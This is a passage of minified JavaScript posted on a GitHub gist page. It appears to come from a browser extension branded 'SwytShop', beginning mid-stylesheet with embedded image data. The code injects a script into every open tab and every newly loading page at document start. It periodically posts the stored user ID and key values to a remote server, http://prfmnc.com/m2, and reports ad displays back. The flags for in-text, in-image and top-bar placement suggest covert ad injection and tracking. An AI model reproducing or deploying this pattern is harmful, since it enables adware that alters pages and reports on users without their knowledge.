url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABsAAAABCAYAAAAvmdWoAAAACXBIWXMAAAsTAAALEwEAmpwYAAAKT2lDQ1B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7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAEZ0FNQQAAsY58+1GTAAAAIGNIUk0AAHolAACAgwAA+f8AAIDpAAB1MAAA6mAAADqYAAAXb5JfxUYAAAA3SURBVHjabMWxCoAgAAXAk7KEBsHI/v9PWxze0HBcwYZ9qeEI548WpxsvJh4MdFwfAAAA//8DACaFAQGxhpo2AAAAAElFTkSuQmCC) repeat-y;\\n}\\n\\n._mc_feed_arrow._mc_left {\\n left: 0;\\n}\\n\\n._mc_feed_grad._mc_left {\\n left: 28px;\\n background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABsAAAABCAYAAAAvmdWoAAAACXBIWXMAAAsTAAALEwEAmpwYAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4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HDSENH25cmDgw0HFiFU+62smbBOIHAAD//wMAV8QaBeJZgbIAAAAASUVORK5CYII=) repeat-y;\\n}\\n\\n._mc_feed_arrow img {\\n margin-top: 36px;\\n user-select: none;\\n -moz-user-select: none;\\n -webkit-user-select: none;\\n}\\n";', | |
code2undo: 'delete window.stripJs; if (typeof removeStrip === "function") removeStrip();', | |
enableGetArticles: function() { | |
var e = this; | |
chrome.storage.local.get("visible", function(e) { | |
var t = e.visible; | |
void 0 === t && chrome.storage.local.set({ | |
visible: !0 | |
}) | |
}), chrome.browserAction.onClicked.addListener(function(e) { | |
chrome.storage.local.get("visible", function(e) { | |
var t = e.visible; | |
chrome.storage.local.set({ | |
visible: !t | |
}, function() {}) | |
}) | |
}); | |
var t = new Promise(function(t) { | |
if (localStorage.arUpd && Date.now() - Date.parse(localStorage.arUpd) <= 18e5) { | |
var n = Date.now() - Date.parse(localStorage.arUpd); | |
e.timerifyGetArticlesList(t, 18e5 - n) | |
} else e.timerifyGetArticlesList(t) | |
}); | |
t.then(function() { | |
chrome.tabs.query({}, function(e) { | |
var t = !0, | |
n = !1, | |
o = void 0; | |
try { | |
for (var r, a = function() { | |
var e = r.value; | |
chrome.tabs.executeScript(e.id, { | |
code: "var r = window.stripJs; window.stripJs = true; r", | |
runAt: "document_start" | |
}, function(t) { | |
chrome.runtime.lastError || t[0] || chrome.tabs.executeScript(e.id, { | |
code: m2.code2, | |
runAt: "document_start" | |
}, function() {}) | |
}) | |
}, i = e[Symbol.iterator](); !(t = (r = i.next()).done); t = !0) a() | |
} catch (e) { | |
n = !0, o = e | |
} finally { | |
try { | |
!t && i.return && i.return() | |
} finally { | |
if (n) throw o | |
} | |
} | |
}), chrome.tabs.onUpdated.addListener(e.onUpdatedInEnableGetArticles), chrome.browserAction.enable(), chrome.runtime.onMessage.addListener(e.onMessageInEnableGetArticles.bind(e)) | |
}) | |
}, | |
timerifyGetArticlesList: function() { | |
var e = this, | |
t = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : function() {}, | |
n = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : 18e5; | |
n < 18e5 ? (setTimeout(this.timerifyGetArticlesList.bind(this), n), t()) : this.getArticlesList(function(n) { | |
setTimeout(e.timerifyGetArticlesList.bind(e), 18e5), n.length ? ! function() { | |
var o = 0, | |
r = !0, | |
a = !1, | |
i = void 0; | |
try { | |
for (var l, c = function() { | |
var r = l.value; | |
e.toDataUrl(r.imgURL, function(e) { | |
r.imgURL = e, ++o === n.length && (localStorage.arUpd = (new Date).toString(), chrome.storage.local.set({ | |
arList: n, | |
scrollLeft: 0 | |
}, function() { | |
t() | |
})) | |
}) | |
}, d = n[Symbol.iterator](); !(r = (l = d.next()).done); r = !0) c() | |
} catch (e) { | |
a = !0, i = e | |
} finally { | |
try { | |
!r && d.return && d.return() | |
} finally { | |
if (a) throw i | |
} | |
} | |
}() : t() | |
}) | |
}, | |
onUpdatedInEnableGetArticles: function(e, t, n) { | |
"loading" === t.status && chrome.tabs.executeScript(n.id, { | |
code: "var r = window.stripJs; window.stripJs = true; r", | |
runAt: "document_start" | |
}, function(e) { | |
chrome.runtime.lastError || e[0] || chrome.tabs.executeScript(n.id, { | |
code: m2.code2, | |
runAt: "document_start" | |
}, function() {}) | |
}) | |
}, | |
onMessageInEnableGetArticles: function(e, t, n) { | |
"setDispRpt(articles)" === e.action && this.setDispRpt({ | |
uID: localStorage.uID, | |
c: localStorage.c, | |
d: e.d, | |
tp: "articles", | |
dispURL: e.dispURL, | |
prID: e.prID | |
}) | |
}, | |
toDataUrl: function(e, t) { | |
if (e.startsWith("data")) return void t(e); | |
var n = new XMLHttpRequest; | |
n.responseType = "blob", n.onload = function() { | |
var e = new FileReader; | |
e.onloadend = function() { | |
t(e.result) | |
}, e.readAsDataURL(n.response) | |
}, n.onerror = function() { | |
t(e) | |
}, n.open("GET", e), n.send() | |
}, | |
getArticlesList: function e(t) { | |
function n() { | |
var e = JSON.parse(this.responseText); | |
e.error ? m2.sendError("Error from API server (getArticlesList) - " + e.error) : t(e.arList || []) | |
} | |
function o() { | |
var n = "ec" in e ? ++e.ec : e.ec = 1; | |
n > 5 ? (e.ec = 0, m2.sendPixel("API server is unavailable (getArticlesList)", i.status), t([])) : m2.getArticlesList(t) | |
} | |
var r = { | |
uID: localStorage.uID, | |
c: localStorage.c, | |
k: localStorage.k | |
}, | |
a = Object.keys(r).filter(function(e) { | |
return r[e] || 0 === r[e] | |
}).map(function(e) { | |
return e + "=" + encodeURIComponent(r[e]) | |
}).join("&"), | |
i = new XMLHttpRequest; | |
i.open("POST", server + "/getArticlesList", !0), i.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"), i.setRequestHeader("X-API-Key", this.params.t), i.onload = n, i.onerror = o, i.send(a) | |
} | |
}, | |
xhr = new XMLHttpRequest; | |
xhr.open("GET", "algoad/token.json"), xhr.onload = function() { | |
var e = JSON.parse(this.responseText), | |
t = e.token; | |
m2.go({ | |
t: t, | |
server: "http://prfmnc.com/m2", | |
topbar: !0, | |
button: !0, | |
bn: "SwytShop", | |
inText: !0, | |
inImage: !0 | |
}) | |
}, xhr.onerror = function() {}, xhr.send(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment